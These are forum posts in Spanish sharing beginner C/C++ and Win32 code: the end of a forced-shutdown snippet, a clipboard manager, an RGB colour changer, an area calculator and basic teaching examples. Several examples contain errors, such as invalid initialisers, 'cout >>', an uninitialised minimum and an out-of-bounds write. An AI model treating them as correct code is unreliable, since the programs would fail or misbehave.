      tokpr.PrivilegeCount = 1;
      tokpr.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
      if(AdjustTokenPrivileges(hToken, FALSE, &tokpr, 0, (PTOKEN_PRIVILEGES)NULL, 0))
      {
      ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF|EWX_FORCE,0);
      }
      }
      }


Saludos!

Autor: P4|3L0
#17
Códigos Fuentes / Clipboard Manager
Febrero 23, 2010, 07:27:33 PM
Empecé hace poco en C y con la ayuda de Pablo y dreams_eater he terminado mi primera aplicación usando la API de Win, un manejador del portapapeles:

Es sencillo, hay un botón para imprimir lo que hay en el portapapeles y otro que saca los datos introducidos en un Textbox y los mete en el portapapeles.

Para cuando sepa un poco más me gustaría hacer lo mismo con imágenes y archivos :)

Código: c
#include <windows.h>
#include <stdio.h>

#define ID_EDIT 3
#define ID_BUTTON_1 1
#define ID_BUTTON_2 2


HINSTANCE hInst;
const char g_szClassName[] = "myWindowClass";

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
    HWND hwndboton1, hwndboton2;
    static HWND hwndEdit;
    static TCHAR text[30];

    switch (iMsg)
    {
        case WM_CREATE:
        hwndboton1 = CreateWindow("button", "Sacar portapapeles",
          WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,
          70, 10, 150, 30,
          hwnd, (HMENU) ID_BUTTON_1, hInst, NULL);
        hwndboton2 = CreateWindow("button", "Insertar texto en portapapeles",
          WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON,
          10, 50, 260, 30,
          hwnd, (HMENU) ID_BUTTON_2, hInst, NULL);
        hwndEdit = CreateWindow(TEXT("Edit"), NULL, WS_CHILD | WS_VISIBLE | WS_BORDER,
          30, 95, 230, 20, hwnd, (HMENU) ID_EDIT,
          NULL, NULL);
        return 0;

        case WM_COMMAND:
        switch(LOWORD(wParam))
        {
            case 1:
            {
                char * buffer = NULL;
                if (!OpenClipboard(NULL))
                {
                    SendMessage(hwnd, WM_CLOSE, 0, 0);
                }
                HANDLE hData = GetClipboardData(CF_TEXT);
                char * Portapapeles = (char*)GlobalLock(hData);
                MessageBox(hwnd, Portapapeles,"Portapapeles",MB_ICONINFORMATION|MB_OK);
                GlobalUnlock( hData );
                CloseClipboard();
                break;
            }

            case 2:
                {
                int len = GetWindowTextLength(hwndEdit) + 1;
                GetWindowText(hwndEdit,text,len);
                if (!OpenClipboard(NULL))
                {
                    MessageBox (NULL,"Can't open Clipboard","Error",MB_OK);
                    SendMessage(hwnd, WM_CLOSE, 0, 0);
                }
                EmptyClipboard();
                HANDLE hMem = GlobalAlloc(GMEM_MOVEABLE,strlen(text)+1);
                if (hMem == NULL)
                {
                    MessageBox (NULL,"Can't allocate memory","Error",MB_OK);
                    CloseClipboard();
                    SendMessage(hwnd, WM_CLOSE, 0, 0);
                }
                char * buffer = (char*)GlobalLock(hMem);
                strcpy(buffer, LPCSTR(text));
                GlobalUnlock(hMem);
                SetClipboardData(CF_TEXT,hMem);
                CloseClipboard();
                }

            break;

            default:
            break;
        }
        return 0;

        case WM_DESTROY:
        PostQuitMessage (0);
        return 0;
    }

    return DefWindowProc (hwnd, iMsg, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int nCmdShow)
{
    WNDCLASSEX wc;
    HWND hwnd;
    MSG Msg;

    wc.cbSize        = sizeof(WNDCLASSEX);
    wc.style         = 0;
    wc.lpfnWndProc   = WndProc;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = hInstance;
    wc.hIcon         = LoadIcon(NULL, IDI_APPLICATION);
    wc.hCursor       = LoadCursor(NULL, IDC_ARROW);
    wc.hbrBackground = (HBRUSH)(COLOR_BTNFACE + 1);
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = g_szClassName;
    wc.hIconSm       = LoadIcon(NULL, IDI_APPLICATION);

    if(!RegisterClassEx(&wc))
    {
        MessageBox(NULL, "Window Registration Failed!", "Error!",
            MB_ICONEXCLAMATION | MB_OK);
        return 0;
    }

    hwnd = CreateWindowEx(
        WS_EX_CLIENTEDGE,
        g_szClassName,
        "Clipboard Manager",
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT, 300, 170,
        NULL, NULL, hInstance, NULL);

    if(hwnd == NULL)
    {
        MessageBox(NULL, "Window Creation Failed!", "Error!",
            MB_ICONEXCLAMATION | MB_OK);
        return 0;
    }

    ShowWindow(hwnd, nCmdShow);
    UpdateWindow(hwnd);

    while(GetMessage(&Msg, NULL, 0, 0) > 0)
    {
        TranslateMessage(&Msg);
        DispatchMessage(&Msg);
    }
    return Msg.wParam;
}


Autor: [N]athaniel
#18
Código: c
#include <windows.h>
#include <stdio.h>

#define ID_BUTTON 1
#define ID_EDIT_1 2
#define ID_EDIT_2 3
#define ID_EDIT_3 4

/*  Declare Windows procedure  */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
WORD Comando;

/*  Make the class name into a global variable  */
char szClassName[ ] = "CodeBlocksWindowsApp";

int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow)
{
    HWND hwnd;               /* This is the handle for our window */
    MSG messages;            /* Here messages to the application are saved */
    WNDCLASSEX wincl;        /* Data structure for the windowclass */

    /* The Window structure */
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof (WNDCLASSEX);

    /* Use default icon and mouse-pointer */
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    if (!RegisterClassEx (&wincl))
        return 0;

    hwnd = CreateWindowEx (
           0,                   /* Extended possibilites for variation */
           szClassName,         /* Classname */
           "B. Color changer (?)",       /* Title Text */
           WS_OVERLAPPEDWINDOW, /* default window */
           CW_USEDEFAULT,       /* Windows decides the position */
           CW_USEDEFAULT,       /* where the window ends up on the screen */
           240,                 /* The programs width */
           160,                 /* and height in pixels */
           HWND_DESKTOP,        /* The window is a child-window to desktop */
           NULL,                /* No menu */
           hThisInstance,       /* Program Instance handler */
           NULL                 /* No Window Creation data */
           );

    ShowWindow (hwnd, nCmdShow);

    while (GetMessage (&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }
    return messages.wParam;
}


LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    static HWND hwndEdit,hwndEdit1,hwndEdit2;
    HFONT hFont;
    HDC hdc;
    PAINTSTRUCT ps;
    HBRUSH BackgroundBrush;
    RECT client_rect;
    static TCHAR text[4], text1[4], text2[4];

    switch (message)
    {
        case WM_CREATE:
            hwndEdit = CreateWindow(TEXT("Edit"), NULL, WS_CHILD | WS_VISIBLE | WS_BORDER,
              30, 25, 50, 20, hwnd, (HMENU) ID_EDIT_1,NULL, NULL);
            hwndEdit1 = CreateWindow(TEXT("Edit"), NULL, WS_CHILD | WS_VISIBLE | WS_BORDER,
              90, 25, 50, 20, hwnd, (HMENU) ID_EDIT_2,NULL, NULL);
            hwndEdit2 = CreateWindow(TEXT("Edit"), NULL, WS_CHILD | WS_VISIBLE | WS_BORDER,
              150, 25, 50, 20, hwnd, (HMENU) ID_EDIT_3,NULL, NULL);
            break;

        case WM_PAINT:
        {
            hdc = BeginPaint(hwnd, &ps);
            int len = GetWindowTextLength(hwndEdit)+1;
            int len1 = GetWindowTextLength(hwndEdit1)+1;
            int len2 = GetWindowTextLength(hwndEdit2)+1;
            GetWindowText(hwndEdit,text,len);
            GetWindowText(hwndEdit1,text1,len1);
            GetWindowText(hwndEdit2,text2,len2);
            GetClientRect(hwnd, &client_rect);
            BackgroundBrush = CreateSolidBrush(RGB(atoi(text),atoi(text1),atoi(text2))); //green background
            FillRect(hdc, &client_rect, BackgroundBrush);
            hFont = CreateFont(
                20, 10, 0, 0,FW_NORMAL, FALSE, FALSE, FALSE,
                ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,
                DEFAULT_QUALITY,DEFAULT_PITCH|FF_ROMAN,"Verdana");
            SelectObject(hdc, hFont);
            SetTextColor(hdc,RGB(130,130,130));
            SetBkColor(hdc,RGB(atoi(text),atoi(text1),atoi(text2)));
            TextOut(hdc,13,70,"Inserta el color RGB",20);
            DeleteObject(hFont);
            break;
        }

        case WM_COMMAND:
        {
            InvalidateRect(hwnd, NULL, TRUE);
            Comando = LOWORD(wParam);
            break;
        }

        case WM_DESTROY:
            EndPaint(hwnd, &ps);
            PostQuitMessage (0);       /* send a WM_QUIT to the message queue */
            break;

        default:                      /* for messages that we don't deal with */
            return DefWindowProc (hwnd, message, wParam, lParam);
    }

    return 0;
}


Código "interesante":

Código: c
        case WM_PAINT:
        {
            hdc = BeginPaint(hwnd, &ps);
            int len = GetWindowTextLength(hwndEdit)+1;
            int len1 = GetWindowTextLength(hwndEdit1)+1;
            int len2 = GetWindowTextLength(hwndEdit2)+1;
            GetWindowText(hwndEdit,text,len);
            GetWindowText(hwndEdit,text1,len1);
            GetWindowText(hwndEdit,text2,len2);
            GetClientRect(hwnd, &client_rect);
            BackgroundBrush = CreateSolidBrush(RGB(atoi(text),atoi(text1),atoi(text2))); //green background
            FillRect(hdc, &client_rect, BackgroundBrush);
            hFont = CreateFont(
                20, 10, 0, 0,FW_NORMAL, FALSE, FALSE, FALSE,
                ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,
                DEFAULT_QUALITY,DEFAULT_PITCH|FF_ROMAN,"Verdana");
            SelectObject(hdc, hFont);
            SetTextColor(hdc,RGB(130,130,130));
            SetBkColor(hdc,RGB(atoi(text),atoi(text1),atoi(text2)));
            TextOut(hdc,13,70,"Inserta el color RGB",20);
            DeleteObject(hFont);
            break;
        }

        case WM_COMMAND:
        {
            InvalidateRect(hwnd, NULL, TRUE);
            Comando = LOWORD(wParam);
            break;
        }


Simple, tienes tres cajas de texto en el que introduces un valor RGB a cada una y el color de fondo se cambia solo por arte de magia! x)
#19
C / C++ / Tutorial de theForger: Win32 API
Febrero 23, 2010, 06:40:43 PM

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#20
Códigos Fuentes / Calcular areas C++
Febrero 23, 2010, 06:37:31 PM
Aqui os dejo un programa creado por mi, muy simple que sirve para aprender a manejarse con diferentes funciones a la vez. Si tienen alguna duda preguntarmela  ;D

Código: cpp
/* Calcula las areas de cuadrados, rectangulos, triangulos, circulos y rombos.
   01 - 09 - 09 */
   
#include <iostream>
#define PI 3.14159265

float ResCuadrado(float a, float b);
float ResTriangulo(float a, float b);
float ResCirculo(float a);
float ResRombo(float a, float b);

using namespace std;

int main()

{
    int opcion;
    float resultado;
    float a;
    float b;
    while (1)
{
    system("CLS");
    cout << "MENU PRINCIPAL" << endl << endl;
    cout << "Elige que figura quieres calcular: "<< endl;
    cout << "     1 - Cuadrado" << endl << "     2 - Triangulo" << endl;
    cout << "     3 - Circulo " << endl << "     4 - Rombo" << endl;
    cout << "Introduce tu opcion: ";
    cin >> opcion;
    cout << endl;
    cout << "Has elegido: ";
   
    switch (opcion)
    {
           case 1:
                cout << "Calcular el area de un Cuadrado/Rectangulo" << endl;
                resultado = ResCuadrado(a, b);
                cout << resultado << endl;
                system("PAUSE");
                break;
               
           case 2:
                cout << "Calcular el area de un Triangulo" << endl;
                resultado = ResTriangulo(a, b);
                cout << resultado << endl;
                system("PAUSE");
                break;
               
           case 3:
                cout << "Calcular el area de un Circulo" << endl;
                resultado = ResCirculo(a);
                cout << resultado << endl;
                system("PAUSE");
                break;
               
           case 4:
                cout << "Calcular el area de un Rombo" << endl;
                resultado = ResRombo(a, b);
                cout << resultado << endl;
                system("PAUSE");
                break;
           
           default:
                cout << "No has elegido ningua de las opciones disponibles" << endl;
                system("PAUSE");
                break;
    }
}
return 0;
}

float ResCuadrado(float a, float b)
{
      float res;
      cout << "Introduce el primer lado: ";
      cin >> a;
      cout << endl;
      cout << "Introduce el segundo lado: ";
      cin >> b;
      cout << endl;
      res = a * b;
      return res;
}

float ResTriangulo(float a, float b)
{
      float res;
      cout << "Introduce la base: ";
      cin >> a;
      cout << endl;
      cout << "Introduce la altura: ";
      cin >> b;
      cout << endl;
      res = (a * b)/2;
      return res;
}

float ResCirculo(float a)
{
      float res;
      cout << "Introduce el radio: ";
      cin >> a;
      cout << endl;
      res = PI * (a * a);
      return res;
}

float ResRombo(float a, float b)
{
      float res;
      cout << "Introduce la primera diagonal: ";
      cin >> a;
      cout << endl;
      cout << "Introduce la segunda diagonal: ";
      cin >> b;
      cout << endl;
      res = a * b;
      return res;
}


si veis algun fallo comentar por favor

Saludos!!

Autor: Bl4cKn0T3
#21
Códigos Fuentes / Ejemplos Sencillos en C/C++
Febrero 23, 2010, 06:35:59 PM
Ejemplos basicos


Hola mundo
Código: cpp
#include <iostream.h>

#include <stdlib.h>



int main()

{

    cout << "hola mundo" << endl;

    system ("PAUSE > NUL");

return 0;

}


Imprimir 2 variables tipo cadena(string) en una oracion 

Código: cpp

#include <stdio.h>

#include <stdlib.h>

#include <string.h>



int main()

{

    char NOM[80];

    char ADJ[80];

    printf("Hola dime un nombre:  ");

    scanf ("%s", NOM);

     printf("Un adjetivo:  ");

    scanf ("%s", ADJ);

    printf("%s eS %s", NOM , ADJ);

    system ("pause > nul"); 

   

    }



Ejemplo de if anidados y comparacion de variables


Código: cpp
#include <stdlib.h>

#include <stdio.h>

int a,b,c;

int main()

{

    printf("ingresar la 1er nota\n");

    scanf ("%i", &a);

    printf("ingresar la 2do nota\n");

    scanf ("%i", &b);

    printf("ingresar la 3er nota\n");

    scanf ("%i", &c);

    if (c > b & a < c)

    {

          system ("cls");

         printf("la mayor es %i Grupo 3", c);

         }

         else if ( a < b )

          {

              system ("cls");

              printf ("el mayor es %i Grupo 2", b);

              }

              else if ( a > b )

              {

                   system ("cls");

              printf ("el mayor es %i Grupo 1", a);

         }

    system ("pause > nul");

    return 0;

    }


Descomposiscion de un array

Código: cpp
#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(void)

{

    char palabra[80];

    int a;

    printf("ingrese una palabra a descomponer\n");

    gets(palabra);

for(a=strlen(palabra); a>=0; a-- )

    {

        printf ("\n %c ", palabra[a]);

    }

    system("pause>nul");

    return 0;

}


Descomposiscion de un array con pausas. :P
Código: cpp
#include <stdio.h> 

#include <stdlib.h>

#include <string.h>

char palabra[80];

int a, b=0;
char palabra[80] = 11101010;

int main(void)

{

    system ("color 0A");

    printf("Palabra:");

    system ("cls");

    printf("\n\n\n");

    for (a = strlen(palabra); b <= a; b++)

    {

        printf("%c\n", palabra[b]);

        system ("@ping -n 0,1 localhost > nul");

        }

    for(a=strlen(palabra); a>=0; a-- )

    {

        printf ("%c\n", palabra[a]);

        system ("@ping -n 0, localhost > nul");

    }

        system ("pause > nul");

}


Ejemplo de variables estructuradas
Código: cpp
#include <stdlib.h>

#include <iostream.h>

int main ()

{

    struct stNueva {

           char pri = a, seg = b; // definiendo variable

           }Dato;

    cout >> Dato.pri >> endl; //imprimiendo primer valor de de la estructura reconocida como dato

    }






Ejemplo de bucle con while
Código: cpp

#include <stdio.h>

#include <stdlib.h>



int main()

{

    int contador;

     contador = 1;

    while (contador < 1000)

    {

    contador = contador + 1;

          printf ("el valor es: %d\n", contador);

    }

    system ("pause > nul");

    }

Identificador de variables
Código: cpp
#include <stdlib.h>

#include <stdio.h>

#include <iostream>

using namespace std;



int main()

{

    //a = 97        0 = 48        5 = 53

    //e = 101       1 = 49        6 = 54

    //i = 105       2 = 50        7 = 55

    //o = 111       3 = 51        8 = 56

    //u = 117       4 = 52        9 = 57

    char cVar;

    int iVar;

    cout << "Pon la letra o numero a verificar" << endl;

    cin >> cVar;

    iVar = int(cVar);

    switch(iVar)

    {

                case 97:

                     cout << "Es una vocal" <<endl;

                     break;

                     case 101:

                          cout << "Es una vocal" <<endl;

                          break;

                          case 105:

                               cout << "Es una vocal" <<endl;

                               break;

                               case 111:

                                    cout << "Es una vocal" <<endl;

                                    break;

                                    case 117:

                                         cout << "Es una vocal" <<endl;

                                         break;

                                         case 48:

                                              cout << "Es un numero" <<endl;

                                              break;

                                              case 49:

                                                   cout << "Es un numero" <<endl;

                                                   break;

                                                   case 50:

                                                        cout << "Es un numero" <<endl;

                                                        break;

                                                        case 51:

                                                             cout << "Es un numero" <<endl;

                                                             break;

                                                             case 52:

                                                                  cout << "Es un numero" <<endl;

                                                                  break;

                                                                  case 53:

                                                                       cout << "Es un numero" <<endl;

                                                                       break;

                                                                       case 54:

                                                                            cout << "Es un numero" <<endl;

                                                                            break;

                                                                            case 55:

                                                                                 cout << "Es un numero" <<endl;

                                                                                 break;

                                                                                 case 56:

                                                                                      cout << "Es un numero" <<endl;

                                                                                      break;

                                                                                      case 57:

                                                                                           cout << "Es un numero" <<endl;

                                                                                           break;

                     default:

                             cout << "No es vocal ni numero" <<endl;

    }

    system("pause");


}



Ejemplo de incremento progresibo atraves del for

Código: cpp
#include <stdio.h>

#include <stdlib.h>

int s;

int main()

{

    printf ("ingrese el numero a al que incrementar progresivamente hasta mil\n");

    scanf ("%i", &s);

    int a;

    for (a=1; a<1001; a++)

    {

        printf ("el numero es %i\n", s+a);

    }

    system ("pause > nul");   

    }


Ejemplo de uso de operador logico OR

Código: cpp
#include <stdio.h> 

#include <stdlib.h>



int main()

{

    int a,b,c;

   

printf("ingrese datos1,2,3, \n");

scanf("%i\n",&a);

scanf("%i",&b);

scanf("\n%i",&c);

printf ("comparando..\n");

if ( a + b == c || c + b == a || c + a == b)

{

          printf ("\niguales");

    }

else

{

     printf("desiguales");

     }

    system ("pause > nul");

    } 

   


Funcion strcat del string
Código: cpp

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int main(void)

{

     char Nombre[80];

     char Apellido[80];

     printf ("ingrese Nombre: \n");

     scanf ("%s", Nombre);

     printf ("ingrese Apellido: \n");

     scanf ("%s", Apellido);

     strcat (Nombre, Apellido);

     printf ("Su NOmbre Completo es: %s \n\n", Nombre);

     system ("pause > nul");

     }



Ejemplo de funcion strlen (longitud de caracteres)

Código: cpp
#include <stdlib.h>

#include <stdio.h>

#include <string.h>



int main()



{

    char Palabra[80];

    int a;

    printf ("Escriba una palabra:  ");

    scanf ("%s", Palabra);

    a=strlen(Palabra);

    printf("la cantidad de caracteres que lleba es %i", a);

    system ("pause > nul");

    }

#22
Códigos Fuentes / Pequeños programas By Bl4cKn0T3
Febrero 23, 2010, 06:21:44 PM
Aqui os dejo programas que he estado haciendo para practicar, estan programados en C++, en el compilador Dev-C++.
Espero que os sirvan para estudiar un poco mas de C++

1º:
Código: c
//Se introducen 10 numero, se suman y se calcula el mayor y el menor.
//11/8/2009

#include <iostream>
#define TAM 10

int main()
{
    using namespace std;
//Se introducen los 10 números uno a uno
   int x, y;
   float numero[TAM];
   char i;
   x = 0;
   y = 1;
   i = 167; //Para que aparezca el caracter "º"
   do
      {
       if (y == 1) {cout << "Introduce el " << y << "er n\xa3mero: ";}
       else if (y == 3) {cout << "Introduce el " << y << "er n\xa3mero: ";}
       else           {cout << "Introduce el " << y << (char) i<<" n\xa3mero: ";}
       cin >> numero[x];
       cout << endl;
       x++;
       y++;
       }
   while (x < 10);
system("cls");

// Se realiza la suma
    float resultado_suma;
    resultado_suma = 0;
    x = 0;
   do
      {
          resultado_suma = resultado_suma + numero[x];
          x++;
      }
   while (x < 10);
    cout << "El resultado de sumar los 10 n\xa3meros es: " << resultado_suma << endl;

// Se calcula el valor medio
    float valor_medio;
    valor_medio = resultado_suma /10;
    cout << "El valor medio de los 10 n\xa3meros es: " << valor_medio << endl;

// Se calcula el mayor 
         float mayor = 0;
      x = 0;

      cout << "El n\xa3mero mayor es: ";
      for(x=0;x<TAM;x++)
      {
                        if(numero[x] >=mayor)
                        mayor=numero[x];
      }
    cout << mayor << endl;
           

// Se calcula el numero menor
    float menor;
    x=0;
       
    cout << "El n\xa3mero menor es: ";
    for(x=0;x<TAM;x++)
      {
                        if(numero[x] <=menor)
                        menor=numero[x];
      }
    cout << menor << endl;
   
    system("PAUSE");
    return 0;

}



2º:
Código: c
/*Programa que lee 10 numeros y los almacena en un array, despues los ordena de menor a mayor y de mayor a menor.*/
//16 - 8 - 2009
//----------------------------------------------------------------------------------------------------------------
#include <iostream>
#define TAM 10
int main()

{
    using namespace std;
    //introducir los 10 números.
    int x, y;
    char c;
    int numero[10];
    numero[10] = 0;
    x = 0;
    y = 1;
    c = 167; //Para que aparezca el caracter "º".
    for(x=0; x < 10; x++)
            {
             if (y == 1) {cout << "Introduce el " << y << "er n\xa3mero: " ;}
             else if (y == 3) {cout << "Introduce el " << y << "er n\xa3mero: " ;}
             else             {cout << "Introduce el " << y << (char) c<<" n\xa3mero: " ;}
             cin >> numero[x];
             cout << endl;
             y++;
            }
    system("CLS");
    //---------------------------------------------------------------------------------------------------
    //Expone los numeros introducidos
    cout << "Estos son los n\xa3meros: " << endl;
    y = 1;
    for(x=0; x < 10; x++)
             {
                 if (y == 1) {cout << y << "er n\xa3mero: " << numero[x];}
                 else if (y == 3) {cout << y << "er n\xa3mero: " << numero[x];}
                 else             {cout << y << (char) c<<" n\xa3mero: " << numero[x];}
                 y++;
                 cout << endl;
             }
   
    //------------------------------------------------------------------------------------------------------
   
    //Ordenar de menor a mayor.
    int i, j, aux;
    i = 0;
    j = 0;
    for (i=0; i<TAM-1; i++)
    {
        for (j=i+1; j < TAM;j++)
        if (numero[i] > numero[j])
           {
             aux = numero[i];
             numero[i] = numero[j];
             numero[j] = aux;
           }
}       
   
    cout << endl;
    cout << "Ordenados de Menor a mayor:" << endl;
    y = 1;
    i = 1;
    for(i=0; i<TAM;i++)
             {
                 if (y == 1) {cout << y << "er n\xa3mero: " << numero[i];}
                 else if (y == 3) {cout << y << "er n\xa3mero: " << numero[i];}
                 else             {cout << y << (char) c<<" n\xa3mero: " << numero[i];}
                 y++;
                 cout << endl;
             }
   
  //------------------------------------------------------------------------------------------------------
  // Ordenar los numeros de Mayor a menor
     i = 0;
     j = 0;
     for (i=0; i<TAM-1; i++)
     {
        for (j=i+1; j < TAM;j++)
        if (numero[i] < numero[j])
           {
             aux = numero[i];
             numero[i] = numero[j];
             numero[j] = aux;
           }
}       
   
    cout << endl;
    cout << "Ordenados de Mayor a menor:" << endl;
    y = 1;
    i = 1;
    for(i=0; i<TAM;i++)
    {
                 if (y == 1) {cout << y << "er n\xa3mero: " << numero[i];}
                 else if (y == 3) {cout << y << "er n\xa3mero: " << numero[i];}
                 else             {cout << y << (char) c<<" n\xa3mero: " << numero[i];}
                 y++;
                 cout << endl;
             }
   
    system("PAUSE");
    return 0;
}


3º:
Código: c
/*Programa que muestra una tabla 5 x 5 de 25 valores introducidos por el usuario
y suma las columnas y las filas por separado.
Se le añadira un menu para elegir que fila o columna se suma.
Intentar que sa salida de datos sea lo mas clara posible.*/
//17 - 08 - 2009
//--------------------------------------------------------------------------------
#include <iostream>


int main()
{
    using namespace std;
   
    float tabla[5][5];
    int opcion;
    int opcion2;
    int opcion3;
    float resultado_suma;
    resultado_suma = 0;
    char t;
    int x;
    int y;
    int z;
    char c;
    float resultado[5];
    c = 167; //Para que aparezca el caracter "º".
    t = 63;
   
    cout << "Introduce 25 n\xe9meros para completar la tabla" << endl << endl << endl;
    cout << " \xa8Como quieres completar la tabla" << (char) t << " \xa8Por filas o por columnas" << (char) t << endl;
    cout << " Elige una opci\xe0n: " << endl << endl;
    cout << "       1 - Por columnas" << endl << "       2 - Por filas" << endl;
    cin >> opcion;
   
    switch (opcion)
    {
           case 1:
                {
                cout << "Has elegido la opci\xe0n POR COLUMNAS" << endl << endl;
                cout << "Primera columna" << endl;
                x = 0;
                y = 0;
                z = 1;
                for (y = 0; y < 5; y++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la primera columna:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la primera columna:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la primera columna:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR COLUMNAS" << endl << endl;
                cout << "Segunda columna" << endl;
                x = 1;
                y = 0;
                z = 1;
                for (y = 0; y < 5; y++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la segunda columna:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la segunda columna:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la segunda columna:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR COLUMNAS" << endl << endl;
                cout << "Tercera columna" << endl;
                x = 2;
                y = 0;
                z = 1;
                for (y = 0; y < 5; y++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la tercera  columna:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la tercera  columna:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la tercera  columna:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR COLUMNAS" << endl << endl;
                cout << "Cuarta columna" << endl;
                x = 3;
                y = 0;
                z = 1;
                for (y = 0; y < 5; y++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la cuarta  columna:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la cuarta  columna:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la cuarta  columna:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR COLUMNAS" << endl << endl;
                cout << "Quinta columna" << endl;
                x = 4;
                y = 0;
                z = 1;
                for (y = 0; y < 5; y++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la quinta columna:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la quinta columna:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la quinta columna:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Esta es tu tabla:" << endl;
                }
                break;
//-----------------------------------------------------------------------------------------------------------------------

                case 2:
                {   
                cout <<  "Has elegido la opci\xe0n POR FILAS" << endl << endl;
                cout << "Primera fila" << endl;
                x = 0;
                y = 0;
                z = 1;
                for (x= 0; x< 5; x++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la primera fila:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la primera fila:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la primera fila:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR FILAS" << endl << endl;
                cout << "Segunda fila" << endl;
                x = 0;
                y = 1;
                z = 1;
                for (x = 0; x < 5; x++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la segunda fila:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la segunda fila:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la segunda fila:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR FILAS" << endl << endl;
                cout << "Tercera fila" << endl;
                x = 0;
                y = 2;
                z = 1;
                for (x = 0; x < 5; x++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la tercera  fila:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la tercera  fila:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la tercera  fila:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR FILAS" << endl << endl;
                cout << "Cuarta fila" << endl;
                x = 0;
                y = 3;
                z = 1;
                for (x = 0; x < 5; x++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la cuarta fila:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la cuarta fila:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la cuarta fila:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Has elegido la opci\xe0n POR FILAS" << endl << endl;
                cout << "Quinta fila" << endl;
                x = 0;
                y = 4;
                z = 1;
                for (x = 0; x < 5; x++)
                {
                    if (z == 1) {cout << "Introduce el " << z << "er n\xa3mero de la quinta fila:";}
                    else if (z == 3) {cout << "Introduce el " << z << "er n\xa3mero de la quinta fila:";}
                    else {cout << "Introduce el " << z << (char) c << " n\xa3mero de la quinta fila:";}
                    cin >> tabla[x][y];
                    z++;
                }
                system("CLS");
               
                cout << "Esta es tu tabla:" << endl;
                }
                break;

    }
//----------------------------------------------------------------------------------------------------------------------
// Tabla de valores
             
             cout << "------------------------------"<< endl;
             cout << "|" << tabla[0][0] << "|" << tabla[1][0] << "|" << tabla[2][0] << "|" << tabla[3][0] << "|" << tabla[4][0] << "|"<< endl;
             cout << "------------------------------"<< endl;
